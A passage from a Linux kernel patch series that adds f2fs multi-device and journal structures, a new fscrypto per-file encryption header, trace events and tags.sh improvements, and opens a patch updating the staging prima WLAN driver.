- 1) >> F2FS_BLKSIZE_BITS) #define NULL_ADDR ((block_t)0) /* used as block_t addresses */ #define NEW_ADDR ((block_t)-1) /* used as block_t addresses */ @@ -51,10 +51,18 @@ #define MAX_ACTIVE_DATA_LOGS 8 #define VERSION_LEN 256 +#define MAX_VOLUME_NAME 512 +#define MAX_PATH_LEN 64 +#define MAX_DEVICES 8 /* * For superblock */ +struct f2fs_device { + __u8 path[MAX_PATH_LEN]; + __le32 total_segments; +} __packed; + struct f2fs_super_block { __le32 magic; /* Magic Number */ __le16 major_ver; /* Major Version */ @@ -84,7 +92,7 @@ struct f2fs_super_block { __le32 node_ino; /* node inode number */ __le32 meta_ino; /* meta inode number */ __u8 uuid[16]; /* 128-bit uuid for volume */ - __le16 volume_name[512]; /* volume name */ + __le16 volume_name[MAX_VOLUME_NAME]; /* volume name */ __le32 extension_count; /* # of extensions below */ __u8 extension_list[F2FS_MAX_EXTENSION][8]; /* extension array */ __le32 cp_payload; @@ -93,12 +101,14 @@ struct f2fs_super_block { __le32 feature; /* defined features */ __u8 encryption_level; /* versioning level for encryption */ __u8 encrypt_pw_salt[16]; /* Salt used for string2key algorithm */ - __u8 reserved[871]; /* valid reserved region */ + struct f2fs_device devs[MAX_DEVICES]; /* device list */ + __u8 reserved[327]; /* valid reserved region */ } __packed; /* * For checkpoint */ +#define CP_CRC_RECOVERY_FLAG 0x00000040 #define CP_FASTBOOT_FLAG 0x00000020 #define CP_FSCK_FLAG 0x00000010 #define CP_ERROR_FLAG 0x00000008 @@ -169,12 +179,12 @@ struct f2fs_extent { #define F2FS_INLINE_XATTR_ADDRS 50 /* 200 bytes for inline xattrs */ #define DEF_ADDRS_PER_INODE 923 /* Address Pointers in an Inode */ #define DEF_NIDS_PER_INODE 5 /* Node IDs in an Inode */ -#define ADDRS_PER_INODE(fi) addrs_per_inode(fi) +#define ADDRS_PER_INODE(inode) addrs_per_inode(inode) #define ADDRS_PER_BLOCK 1018 /* Address Pointers in a Direct Block */ #define NIDS_PER_BLOCK 1018 /* Node IDs in an Indirect Block */ -#define ADDRS_PER_PAGE(page, fi) \ - (IS_INODE(page) ? ADDRS_PER_INODE(fi) : ADDRS_PER_BLOCK) +#define ADDRS_PER_PAGE(page, inode) \ + (IS_INODE(page) ? ADDRS_PER_INODE(inode) : ADDRS_PER_BLOCK) #define NODE_DIR1_BLOCK (DEF_ADDRS_PER_INODE + 1) #define NODE_DIR2_BLOCK (DEF_ADDRS_PER_INODE + 2) @@ -344,7 +354,7 @@ struct f2fs_summary { struct summary_footer { unsigned char entry_type; /* SUM_TYPE_XXX */ - __u32 check_sum; /* summary checksum */ + __le32 check_sum; /* summary checksum */ } __packed; #define SUM_JOURNAL_SIZE (F2FS_BLKSIZE - SUM_FOOTER_SIZE -\ @@ -357,6 +367,12 @@ struct summary_footer { sizeof(struct sit_journal_entry)) #define SIT_JOURNAL_RESERVED ((SUM_JOURNAL_SIZE - 2) %\ sizeof(struct sit_journal_entry)) + +/* Reserved area should make size of f2fs_extra_info equals to + * that of nat_journal and sit_journal. + */ +#define EXTRA_INFO_RESERVED (SUM_JOURNAL_SIZE - 2 - 8) + /* * frequently updated NAT/SIT entries can be stored in the spare area in * summary blocks @@ -386,18 +402,28 @@ struct sit_journal { __u8 reserved[SIT_JOURNAL_RESERVED]; } __packed; -/* 4KB-sized summary block structure */ -struct f2fs_summary_block { - struct f2fs_summary entries[ENTRIES_IN_SUM]; +struct f2fs_extra_info { + __le64 kbytes_written; + __u8 reserved[EXTRA_INFO_RESERVED]; +} __packed; + +struct f2fs_journal { union { __le16 n_nats; __le16 n_sits; }; - /* spare area is used by NAT or SIT journals */ + /* spare area is used by NAT or SIT journals or extra info */ union { struct nat_journal nat_j; struct sit_journal sit_j; + struct f2fs_extra_info info; }; +} __packed; + +/* 4KB-sized summary block structure */ +struct f2fs_summary_block { + struct f2fs_summary entries[ENTRIES_IN_SUM]; + struct f2fs_journal journal; struct summary_footer footer; } __packed; @@ -491,4 +517,6 @@ enum { F2FS_FT_MAX }; +#define S_SHIFT 12 + #endif /* _LINUX_F2FS_FS_H */ diff --git a/include/linux/fs.h b/include/linux/fs.h index d358dd06c28cf..41daf6a73cb03 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -46,6 +46,8 @@ struct vfsmount; struct cred; struct swap_info_struct; struct seq_file; +struct fscrypt_info; +struct fscrypt_operations; extern void __init inode_init(void); extern void __init inode_init_early(void); @@ -608,6 +610,11 @@ struct inode { #ifdef CONFIG_IMA atomic_t i_readcount; /* struct files open RO */ #endif + +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) + struct fscrypt_info *i_crypt_info; +#endif + void *i_private; /* fs or device private pointer */ }; @@ -1251,6 +1258,9 @@ struct super_block { const struct xattr_handler **s_xattr; struct list_head s_inodes; /* all inodes */ + + const struct fscrypt_operations *s_cop; + struct hlist_bl_head s_anon; /* anonymous dentries for (nfs) exporting */ struct list_head s_mounts; /* list of mounts; _not_ for fs use */ /* s_dentry_lru, s_nr_dentry_unused protected by dcache.c lru locks */ diff --git a/include/linux/fscrypto.h b/include/linux/fscrypto.h new file mode 100644 index 0000000000000..770e5a537e90c --- /dev/null +++ b/include/linux/fscrypto.h @@ -0,0 +1,435 @@ +/* + * General per-file encryption definition + * + * Copyright (C) 2015, Google, Inc. + * + * Written by Michael Halcrow, 2015. + * Modified by Jaegeuk Kim, 2015. + */ + +#ifndef _LINUX_FSCRYPTO_H +#define _LINUX_FSCRYPTO_H + +#include +#include +#include +#include +#include +#include + +#define FS_KEY_DERIVATION_NONCE_SIZE 16 +#define FS_ENCRYPTION_CONTEXT_FORMAT_V1 1 + +#define FS_POLICY_FLAGS_PAD_4 0x00 +#define FS_POLICY_FLAGS_PAD_8 0x01 +#define FS_POLICY_FLAGS_PAD_16 0x02 +#define FS_POLICY_FLAGS_PAD_32 0x03 +#define FS_POLICY_FLAGS_PAD_MASK 0x03 +#define FS_POLICY_FLAGS_VALID 0x03 + +/* Encryption algorithms */ +#define FS_ENCRYPTION_MODE_INVALID 0 +#define FS_ENCRYPTION_MODE_AES_256_XTS 1 +#define FS_ENCRYPTION_MODE_AES_256_GCM 2 +#define FS_ENCRYPTION_MODE_AES_256_CBC 3 +#define FS_ENCRYPTION_MODE_AES_256_CTS 4 + +/** + * Encryption context for inode + * + * Protector format: + * 1 byte: Protector format (1 = this version) + * 1 byte: File contents encryption mode + * 1 byte: File names encryption mode + * 1 byte: Flags + * 8 bytes: Master Key descriptor + * 16 bytes: Encryption Key derivation nonce + */ +struct fscrypt_context { + u8 format; + u8 contents_encryption_mode; + u8 filenames_encryption_mode; + u8 flags; + u8 master_key_descriptor[FS_KEY_DESCRIPTOR_SIZE]; + u8 nonce[FS_KEY_DERIVATION_NONCE_SIZE]; +} __packed; + +/* Encryption parameters */ +#define FS_XTS_TWEAK_SIZE 16 +#define FS_AES_128_ECB_KEY_SIZE 16 +#define FS_AES_256_GCM_KEY_SIZE 32 +#define FS_AES_256_CBC_KEY_SIZE 32 +#define FS_AES_256_CTS_KEY_SIZE 32 +#define FS_AES_256_XTS_KEY_SIZE 64 +#define FS_MAX_KEY_SIZE 64 + +#define FS_KEY_DESC_PREFIX "fscrypt:" +#define FS_KEY_DESC_PREFIX_SIZE 8 + +/* This is passed in from userspace into the kernel keyring */ +struct fscrypt_key { + u32 mode; + u8 raw[FS_MAX_KEY_SIZE]; + u32 size; +} __packed; + +struct fscrypt_info { + u8 ci_data_mode; + u8 ci_filename_mode; + u8 ci_flags; + struct crypto_ablkcipher *ci_ctfm; + struct key *ci_keyring_key; + u8 ci_master_key[FS_KEY_DESCRIPTOR_SIZE]; +}; + +#define FS_CTX_REQUIRES_FREE_ENCRYPT_FL 0x00000001 +#define FS_WRITE_PATH_FL 0x00000002 + +struct fscrypt_ctx { + union { + struct { + struct page *bounce_page; /* Ciphertext page */ + struct page *control_page; /* Original page */ + } w; + struct { + struct bio *bio; + struct work_struct work; + } r; + struct list_head free_list; /* Free list */ + }; + u8 flags; /* Flags */ + u8 mode; /* Encryption mode for tfm */ +}; + +struct fscrypt_completion_result { + struct completion completion; + int res; +}; + +#define DECLARE_FS_COMPLETION_RESULT(ecr) \ + struct fscrypt_completion_result ecr = { \ + COMPLETION_INITIALIZER((ecr).completion), 0 } + +static inline int fscrypt_key_size(int mode) +{ + switch (mode) { + case FS_ENCRYPTION_MODE_AES_256_XTS: + return FS_AES_256_XTS_KEY_SIZE; + case FS_ENCRYPTION_MODE_AES_256_GCM: + return FS_AES_256_GCM_KEY_SIZE; + case FS_ENCRYPTION_MODE_AES_256_CBC: + return FS_AES_256_CBC_KEY_SIZE; + case FS_ENCRYPTION_MODE_AES_256_CTS: + return FS_AES_256_CTS_KEY_SIZE; + default: + BUG(); + } + return 0; +} + +#define FS_FNAME_NUM_SCATTER_ENTRIES 4 +#define FS_CRYPTO_BLOCK_SIZE 16 +#define FS_FNAME_CRYPTO_DIGEST_SIZE 32 + +/** + * For encrypted symlinks, the ciphertext length is stored at the beginning + * of the string in little-endian format. + */ +struct fscrypt_symlink_data { + __le16 len; + char encrypted_path[1]; +} __packed; + +/** + * This function is used to calculate the disk space required to + * store a filename of length l in encrypted symlink format. + */ +static inline u32 fscrypt_symlink_data_len(u32 l) +{ + if (l < FS_CRYPTO_BLOCK_SIZE) + l = FS_CRYPTO_BLOCK_SIZE; + return (l + sizeof(struct fscrypt_symlink_data) - 1); +} + +struct fscrypt_str { + unsigned char *name; + u32 len; +}; + +struct fscrypt_name { + const struct qstr *usr_fname; + struct fscrypt_str disk_name; + u32 hash; + u32 minor_hash; + struct fscrypt_str crypto_buf; +}; + +#define FSTR_INIT(n, l) { .name = n, .len = l } +#define FSTR_TO_QSTR(f) QSTR_INIT((f)->name, (f)->len) +#define fname_name(p) ((p)->disk_name.name) +#define fname_len(p) ((p)->disk_name.len) + +/* + * crypto opertions for filesystems + */ +struct fscrypt_operations { + int (*get_context)(struct inode *, void *, size_t); + int (*key_prefix)(struct inode *, u8 **); + int (*prepare_context)(struct inode *); + int (*set_context)(struct inode *, const void *, size_t, void *); + int (*dummy_context)(struct inode *); + bool (*is_encrypted)(struct inode *); + bool (*empty_dir)(struct inode *); + unsigned (*max_namelen)(struct inode *); +}; + +static inline bool fscrypt_dummy_context_enabled(struct inode *inode) +{ + if (inode->i_sb->s_cop->dummy_context && + inode->i_sb->s_cop->dummy_context(inode)) + return true; + return false; +} + +static inline bool fscrypt_valid_contents_enc_mode(u32 mode) +{ + return (mode == FS_ENCRYPTION_MODE_AES_256_XTS); +} + +static inline bool fscrypt_valid_filenames_enc_mode(u32 mode) +{ + return (mode == FS_ENCRYPTION_MODE_AES_256_CTS); +} + +static inline u32 fscrypt_validate_encryption_key_size(u32 mode, u32 size) +{ + if (size == fscrypt_key_size(mode)) + return size; + return 0; +} + +static inline bool fscrypt_is_dot_dotdot(const struct qstr *str) +{ + if (str->len == 1 && str->name[0] == '.') + return true; + + if (str->len == 2 && str->name[0] == '.' && str->name[1] == '.') + return true; + + return false; +} + +static inline struct page *fscrypt_control_page(struct page *page) +{ +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) + return ((struct fscrypt_ctx *)page_private(page))->w.control_page; +#else + WARN_ON_ONCE(1); + return ERR_PTR(-EINVAL); +#endif +} + +static inline int fscrypt_has_encryption_key(struct inode *inode) +{ +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) + return (inode->i_crypt_info != NULL); +#else + return 0; +#endif +} + +static inline void fscrypt_set_encrypted_dentry(struct dentry *dentry) +{ +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) + spin_lock(&dentry->d_lock); + dentry->d_flags |= DCACHE_ENCRYPTED_WITH_KEY; + spin_unlock(&dentry->d_lock); +#endif +} + +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) +extern const struct dentry_operations fscrypt_d_ops; +#endif + +static inline void fscrypt_set_d_op(struct dentry *dentry) +{ +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) + d_set_d_op(dentry, &fscrypt_d_ops); +#endif +} + +#if IS_ENABLED(CONFIG_FS_ENCRYPTION) +/* crypto.c */ +extern struct kmem_cache *fscrypt_info_cachep; +int fscrypt_initialize(void); + +extern struct fscrypt_ctx *fscrypt_get_ctx(struct inode *, gfp_t); +extern void fscrypt_release_ctx(struct fscrypt_ctx *); +extern struct page *fscrypt_encrypt_page(struct inode *, struct page *, gfp_t); +extern int fscrypt_decrypt_page(struct page *); +extern void fscrypt_decrypt_bio_pages(struct fscrypt_ctx *, struct bio *); +extern void fscrypt_pullback_bio_page(struct page **, bool); +extern void fscrypt_restore_control_page(struct page *); +extern int fscrypt_zeroout_range(struct inode *, pgoff_t, sector_t, + unsigned int); +/* policy.c */ +extern int fscrypt_process_policy(struct file *, + const struct fscrypt_policy *); +extern int fscrypt_get_policy(struct inode *, struct fscrypt_policy *); +extern int fscrypt_has_permitted_context(struct inode *, struct inode *); +extern int fscrypt_inherit_context(struct inode *, struct inode *, + void *, bool); +/* keyinfo.c */ +extern int get_crypt_info(struct inode *); +extern int fscrypt_get_encryption_info(struct inode *); +extern void fscrypt_put_encryption_info(struct inode *, struct fscrypt_info *); + +/* fname.c */ +extern int fscrypt_setup_filename(struct inode *, const struct qstr *, + int lookup, struct fscrypt_name *); +extern void fscrypt_free_filename(struct fscrypt_name *); +extern u32 fscrypt_fname_encrypted_size(struct inode *, u32); +extern int fscrypt_fname_alloc_buffer(struct inode *, u32, + struct fscrypt_str *); +extern void fscrypt_fname_free_buffer(struct fscrypt_str *); +extern int fscrypt_fname_disk_to_usr(struct inode *, u32, u32, + const struct fscrypt_str *, struct fscrypt_str *); +extern int fscrypt_fname_usr_to_disk(struct inode *, const struct qstr *, + struct fscrypt_str *); +#endif + +/* crypto.c */ +static inline struct fscrypt_ctx *fscrypt_notsupp_get_ctx(struct inode *i, + gfp_t f) +{ + return ERR_PTR(-EOPNOTSUPP); +} + +static inline void fscrypt_notsupp_release_ctx(struct fscrypt_ctx *c) +{ + return; +} + +static inline struct page *fscrypt_notsupp_encrypt_page(struct inode *i, + struct page *p, gfp_t f) +{ + return ERR_PTR(-EOPNOTSUPP); +} + +static inline int fscrypt_notsupp_decrypt_page(struct page *p) +{ + return -EOPNOTSUPP; +} + +static inline void fscrypt_notsupp_decrypt_bio_pages(struct fscrypt_ctx *c, + struct bio *b) +{ + return; +} + +static inline void fscrypt_notsupp_pullback_bio_page(struct page **p, bool b) +{ + return; +} + +static inline void fscrypt_notsupp_restore_control_page(struct page *p) +{ + return; +} + +static inline int fscrypt_notsupp_zeroout_range(struct inode *i, pgoff_t p, + sector_t s, unsigned int f) +{ + return -EOPNOTSUPP; +} + +/* policy.c */ +static inline int fscrypt_notsupp_process_policy(struct file *f, + const struct fscrypt_policy *p) +{ + return -EOPNOTSUPP; +} + +static inline int fscrypt_notsupp_get_policy(struct inode *i, + struct fscrypt_policy *p) +{ + return -EOPNOTSUPP; +} + +static inline int fscrypt_notsupp_has_permitted_context(struct inode *p, + struct inode *i) +{ + return 0; +} + +static inline int fscrypt_notsupp_inherit_context(struct inode *p, + struct inode *i, void *v, bool b) +{ + return -EOPNOTSUPP; +} + +/* keyinfo.c */ +static inline int fscrypt_notsupp_get_encryption_info(struct inode *i) +{ + return -EOPNOTSUPP; +} + +static inline void fscrypt_notsupp_put_encryption_info(struct inode *i, + struct fscrypt_info *f) +{ + return; +} + + /* fname.c */ +static inline int fscrypt_notsupp_setup_filename(struct inode *dir, + const struct qstr *iname, + int lookup, struct fscrypt_name *fname) +{ + if (dir->i_sb->s_cop->is_encrypted(dir)) + return -EOPNOTSUPP; + + memset(fname, 0, sizeof(struct fscrypt_name)); + fname->usr_fname = iname; + fname->disk_name.name = (unsigned char *)iname->name; + fname->disk_name.len = iname->len; + return 0; +} + +static inline void fscrypt_notsupp_free_filename(struct fscrypt_name *fname) +{ + return; +} + +static inline u32 fscrypt_notsupp_fname_encrypted_size(struct inode *i, u32 s) +{ + /* never happens */ + WARN_ON(1); + return 0; +} + +static inline int fscrypt_notsupp_fname_alloc_buffer(struct inode *inode, + u32 ilen, struct fscrypt_str *crypto_str) +{ + return -EOPNOTSUPP; +} + +static inline void fscrypt_notsupp_fname_free_buffer(struct fscrypt_str *c) +{ + return; +} + +static inline int fscrypt_notsupp_fname_disk_to_usr(struct inode *inode, + u32 hash, u32 minor_hash, + const struct fscrypt_str *iname, + struct fscrypt_str *oname) +{ + return -EOPNOTSUPP; +} + +static inline int fscrypt_notsupp_fname_usr_to_disk(struct inode *inode, + const struct qstr *iname, + struct fscrypt_str *oname) +{ + return -EOPNOTSUPP; +} +#endif /* _LINUX_FSCRYPTO_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 7931efe711755..43cb8d59d0a77 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -89,6 +89,7 @@ extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); +extern int posix_acl_update_mode(struct inode *, umode_t *, struct posix_acl **); extern int posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); diff --git a/include/trace/events/f2fs.h b/include/trace/events/f2fs.h index 18550209f6220..0543b64243125 100644 --- a/include/trace/events/f2fs.h +++ b/include/trace/events/f2fs.h @@ -17,6 +17,7 @@ { META_FLUSH, "META_FLUSH" }, \ { INMEM, "INMEM" }, \ { INMEM_DROP, "INMEM_DROP" }, \ + { INMEM_REVOKE, "INMEM_REVOKE" }, \ { IPU, "IN-PLACE" }, \ { OPU, "OUT-OF-PLACE" }) @@ -658,28 +659,32 @@ TRACE_EVENT(f2fs_direct_IO_exit, __entry->ret) ); -TRACE_EVENT(f2fs_reserve_new_block, +TRACE_EVENT(f2fs_reserve_new_blocks, - TP_PROTO(struct inode *inode, nid_t nid, unsigned int ofs_in_node), + TP_PROTO(struct inode *inode, nid_t nid, unsigned int ofs_in_node, + blkcnt_t count), - TP_ARGS(inode, nid, ofs_in_node), + TP_ARGS(inode, nid, ofs_in_node, count), TP_STRUCT__entry( __field(dev_t, dev) __field(nid_t, nid) __field(unsigned int, ofs_in_node) + __field(blkcnt_t, count) ), TP_fast_assign( __entry->dev = inode->i_sb->s_dev; __entry->nid = nid; __entry->ofs_in_node = ofs_in_node; + __entry->count = count; ), - TP_printk("dev = (%d,%d), nid = %u, ofs_in_node = %u", + TP_printk("dev = (%d,%d), nid = %u, ofs_in_node = %u, count = %llu", show_dev(__entry), (unsigned int)__entry->nid, - __entry->ofs_in_node) + __entry->ofs_in_node, + (unsigned long long)__entry->count) ); DECLARE_EVENT_CLASS(f2fs__submit_page_bio, @@ -692,7 +697,8 @@ DECLARE_EVENT_CLASS(f2fs__submit_page_bio, __field(dev_t, dev) __field(ino_t, ino) __field(pgoff_t, index) - __field(block_t, blkaddr) + __field(block_t, old_blkaddr) + __field(block_t, new_blkaddr) __field(int, rw) __field(int, type) ), @@ -701,16 +707,18 @@ DECLARE_EVENT_CLASS(f2fs__submit_page_bio, __entry->dev = page->mapping->host->i_sb->s_dev; __entry->ino = page->mapping->host->i_ino; __entry->index = page->index; - __entry->blkaddr = fio->blk_addr; + __entry->old_blkaddr = fio->old_blkaddr; + __entry->new_blkaddr = fio->new_blkaddr; __entry->rw = fio->rw; __entry->type = fio->type; ), TP_printk("dev = (%d,%d), ino = %lu, page_index = 0x%lx, " - "blkaddr = 0x%llx, rw = %s%s, type = %s", + "oldaddr = 0x%llx, newaddr = 0x%llx rw = %s%s, type = %s", show_dev_ino(__entry), (unsigned long)__entry->index, - (unsigned long long)__entry->blkaddr, + (unsigned long long)__entry->old_blkaddr, + (unsigned long long)__entry->new_blkaddr, show_bio_type(__entry->rw), show_block_type(__entry->type)) ); @@ -1064,6 +1072,27 @@ TRACE_EVENT(f2fs_issue_discard, (unsigned long long)__entry->blklen) ); +TRACE_EVENT(f2fs_issue_reset_zone, + + TP_PROTO(struct super_block *sb, block_t blkstart), + + TP_ARGS(sb, blkstart), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(block_t, blkstart) + ), + + TP_fast_assign( + __entry->dev = sb->s_dev; + __entry->blkstart = blkstart; + ), + + TP_printk("dev = (%d,%d), reset zone at block = 0x%llx", + show_dev(__entry), + (unsigned long long)__entry->blkstart) +); + TRACE_EVENT(f2fs_issue_flush, TP_PROTO(struct super_block *sb, unsigned int nobarrier, @@ -1227,6 +1256,44 @@ TRACE_EVENT(f2fs_destroy_extent_tree, __entry->node_cnt) ); +DECLARE_EVENT_CLASS(f2fs_sync_dirty_inodes, + + TP_PROTO(struct super_block *sb, int type, s64 count), + + TP_ARGS(sb, type, count), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(int, type) + __field(s64, count) + ), + + TP_fast_assign( + __entry->dev = sb->s_dev; + __entry->type = type; + __entry->count = count; + ), + + TP_printk("dev = (%d,%d), %s, dirty count = %lld", + show_dev(__entry), + show_file_type(__entry->type), + __entry->count) +); + +DEFINE_EVENT(f2fs_sync_dirty_inodes, f2fs_sync_dirty_inodes_enter, + + TP_PROTO(struct super_block *sb, int type, s64 count), + + TP_ARGS(sb, type, count) +); + +DEFINE_EVENT(f2fs_sync_dirty_inodes, f2fs_sync_dirty_inodes_exit, + + TP_PROTO(struct super_block *sb, int type, s64 count), + + TP_ARGS(sb, type, count) +); + #endif /* _TRACE_F2FS_H */ /* This part must be outside protection */ diff --git a/include/uapi/linux/fs.h b/include/uapi/linux/fs.h index a4ed56cf0eac5..b16f0cb53620c 100644 --- a/include/uapi/linux/fs.h +++ b/include/uapi/linux/fs.h @@ -164,6 +164,24 @@ struct inodes_stat_t { #define FS_IOC32_GETVERSION _IOR('v', 1, int) #define FS_IOC32_SETVERSION _IOW('v', 2, int) +/* + * File system encryption support + */ +/* Policy provided via an ioctl on the topmost directory */ +#define FS_KEY_DESCRIPTOR_SIZE 8 + +struct fscrypt_policy { + __u8 version; + __u8 contents_encryption_mode; + __u8 filenames_encryption_mode; + __u8 flags; + __u8 master_key_descriptor[FS_KEY_DESCRIPTOR_SIZE]; +} __packed; + +#define FS_IOC_SET_ENCRYPTION_POLICY _IOR('f', 19, struct fscrypt_policy) +#define FS_IOC_GET_ENCRYPTION_PWSALT _IOW('f', 20, __u8[16]) +#define FS_IOC_GET_ENCRYPTION_POLICY _IOW('f', 21, struct fscrypt_policy) + /* * Inode flags (FS_IOC_GETFLAGS / FS_IOC_SETFLAGS) */ diff --git a/scripts/tags.sh b/scripts/tags.sh index 74f02e4dddd29..a2ff3388e5ea3 100755 --- a/scripts/tags.sh +++ b/scripts/tags.sh @@ -1,4 +1,4 @@ -#!/bin/sh +#!/bin/bash # Generate tags or cscope files # Usage tags.sh # @@ -11,11 +11,10 @@ if [ "$KBUILD_VERBOSE" = "1" ]; then set -x fi -# This is a duplicate of RCS_FIND_IGNORE without escaped '()' -ignore="( -name SCCS -o -name BitKeeper -o -name .svn -o \ - -name CVS -o -name .pc -o -name .hg -o \ - -name .git ) \ - -prune -o" +# RCS_FIND_IGNORE has escaped ()s -- remove them. +ignore="$(echo "$RCS_FIND_IGNORE" | sed 's|\\||g' )" +# tags and cscope files should also ignore MODVERSION *.mod.c files +ignore="$ignore ( -name *.mod.c ) -prune -o" # Do not use full path if we do not use O=.. builds # Use make O=. {tags|cscope} @@ -26,6 +25,9 @@ else tree=${srctree}/ fi +# ignore userspace tools +ignore="$ignore ( -path ${tree}tools ) -prune -o" + # Find all available archs find_all_archs() { @@ -48,7 +50,8 @@ find_arch_sources() for i in $archincludedir; do prune="$prune -wholename $i -prune -o" done - find ${tree}arch/$1 $ignore $subarchprune $prune -name "$2" -print; + find ${tree}arch/$1 $ignore $subarchprune $prune -name "$2" \ + -not -type l -print; } # find sources in arch/$1/include @@ -58,14 +61,15 @@ find_arch_include_sources() -name include -type d -print); if [ -n "$include" ]; then archincludedir="$archincludedir $include" - find $include $ignore -name "$2" -print; + find $include $ignore -name "$2" -not -type l -print; fi } # find sources in include/ find_include_sources() { - find ${tree}include $ignore -name config -prune -o -name "$1" -print; + find ${tree}include $ignore -name config -prune -o -name "$1" \ + -not -type l -print; } # find sources in rest of tree @@ -74,7 +78,7 @@ find_other_sources() { find ${tree}* $ignore \ \( -name include -o -name arch -o -name '.tmp_*' \) -prune -o \ - -name "$1" -print; + -name "$1" -not -type l -print; } find_sources() @@ -130,11 +134,6 @@ all_kconfigs() find_other_sources 'Kconfig*' } -all_defconfigs() -{ - find_sources $ALLSOURCE_ARCHS "defconfig" -} - docscope() { (echo \-k; echo \-q; all_target_sources) > cscope.files @@ -146,116 +145,140 @@ dogtags() all_target_sources | gtags -i -f - } +# Basic regular expressions with an optional /kind-spec/ for ctags and +# the following limitations: +# - No regex modifiers +# - Use \{0,1\} instead of \?, because etags expects an unescaped ? +# - \s is not working with etags, use a space or [ \t] +# - \w works, but does not match underscores in etags +# - etags regular expressions have to match at the start of a line; +# a ^[^#] is prepended by setup_regex unless an anchor is already present +regex_asm=( + '/^\(ENTRY\|_GLOBAL\)(\([[:alnum:]_\\]*\)).*/\2/' +) +regex_c=( + '/^SYSCALL_DEFINE[0-9](\([[:alnum:]_]*\).*/sys_\1/' + '/^COMPAT_SYSCALL_DEFINE[0-9](\([[:alnum:]_]*\).*/compat_sys_\1/' + '/^TRACE_EVENT(\([[:alnum:]_]*\).*/trace_\1/' + '/^TRACE_EVENT(\([[:alnum:]_]*\).*/trace_\1_rcuidle/' + '/^DEFINE_EVENT([^,)]*, *\([[:alnum:]_]*\).*/trace_\1/' + '/^DEFINE_EVENT([^,)]*, *\([[:alnum:]_]*\).*/trace_\1_rcuidle/' + '/^DEFINE_INSN_CACHE_OPS(\([[:alnum:]_]*\).*/get_\1_slot/' + '/^DEFINE_INSN_CACHE_OPS(\([[:alnum:]_]*\).*/free_\1_slot/' + '/^PAGEFLAG(\([[:alnum:]_]*\).*/Page\1/' + '/^PAGEFLAG(\([[:alnum:]_]*\).*/SetPage\1/' + '/^PAGEFLAG(\([[:alnum:]_]*\).*/ClearPage\1/' + '/^TESTSETFLAG(\([[:alnum:]_]*\).*/TestSetPage\1/' + '/^TESTPAGEFLAG(\([[:alnum:]_]*\).*/Page\1/' + '/^SETPAGEFLAG(\([[:alnum:]_]*\).*/SetPage\1/' + '/\<__SETPAGEFLAG(\([[:alnum:]_]*\).*/__SetPage\1/' + '/\ Date: Tue, 13 Dec 2016 13:57:40 +0530 Subject: [PATCH 172/365] staging: prima: Update to LA.BR.1.2.9_rb1.9 --- .../staging/prima/CORE/BAP/src/bapModule.c | 4 +- drivers/staging/prima/CORE/BAP/src/btampHCI.c | 2 +- .../staging/prima/CORE/DXE/src/wlan_qct_dxe.c | 253 +- .../prima/CORE/DXE/src/wlan_qct_dxe_i.h | 41 +- .../staging/prima/CORE/HDD/inc/qc_sap_ioctl.h | 2 + .../prima/CORE/HDD/inc/wlan_hdd_assoc.h | 11 +- .../staging/prima/CORE/HDD/inc/wlan_hdd_cfg.h | 409 +- .../prima/CORE/HDD/inc/wlan_hdd_cfg80211.h | 496 +- .../staging/prima/CORE/HDD/inc/wlan_hdd_ftm.h | 4 +- .../CORE/HDD/inc/wlan_hdd_host_offload.h | 12 +- .../prima/CORE/HDD/inc/wlan_hdd_main.h | 242 +- .../prima/CORE/HDD/inc/wlan_hdd_oemdata.h | 89 + .../prima/CORE/HDD/inc/wlan_hdd_power.h | 29 +- .../CORE/HDD/inc/wlan_hdd_softap_tx_rx.h | 11 + .../prima/CORE/HDD/inc/wlan_hdd_tdls.h | 124 +- .../prima/CORE/HDD/inc/wlan_hdd_trace.h | 8 +- .../prima/CORE/HDD/inc/wlan_hdd_tx_rx.h | 2 + .../prima/CORE/HDD/inc/wlan_hdd_wext.h | 1 + .../prima/CORE/HDD/src/wlan_hdd_assoc.c | 247 +- .../staging/prima/CORE/HDD/src/wlan_hdd_cfg.c | 574 +- .../prima/CORE/HDD/src/wlan_hdd_cfg80211.c | 5008 ++++++++++++---- .../prima/CORE/HDD/src/wlan_hdd_dev_pwr.c | 95 +- .../CORE/HDD/src/wlan_hdd_early_suspend.c | 100 +- .../staging/prima/CORE/HDD/src/wlan_hdd_ftm.c | 185 +- .../prima/CORE/HDD/src/wlan_hdd_hostapd.c | 280 +- .../prima/CORE/HDD/src/wlan_hdd_main.c | 5222 ++++++++++++----- .../prima/CORE/HDD/src/wlan_hdd_oemdata.c | 680 ++- .../staging/prima/CORE/HDD/src/wlan_hdd_p2p.c | 192 +- .../prima/CORE/HDD/src/wlan_hdd_scan.c | 41 +- .../CORE/HDD/src/wlan_hdd_softap_tx_rx.c | 72 +- .../prima/CORE/HDD/src/wlan_hdd_tdls.c | 1122 ++-- .../prima/CORE/HDD/src/wlan_hdd_trace.c | 64 +- .../prima/CORE/HDD/src/wlan_hdd_tx_rx.c | 132 +- .../prima/CORE/HDD/src/wlan_hdd_wext.c | 899 ++- .../staging/prima/CORE/HDD/src/wlan_hdd_wmm.c | 20 +- .../staging/prima/CORE/MAC/inc/aniGlobal.h | 20 +- drivers/staging/prima/CORE/MAC/inc/macTrace.h | 5 - .../prima/CORE/MAC/inc/qwlan_version.h | 8 +- drivers/staging/prima/CORE/MAC/inc/sirApi.h | 555 +- .../prima/CORE/MAC/inc/sirMacProtDef.h | 33 +- drivers/staging/prima/CORE/MAC/inc/wniApi.h | 12 +- drivers/staging/prima/CORE/MAC/inc/wniCfg.h | 47 +- .../staging/prima/CORE/MAC/src/cfg/cfgApi.c | 4 +- 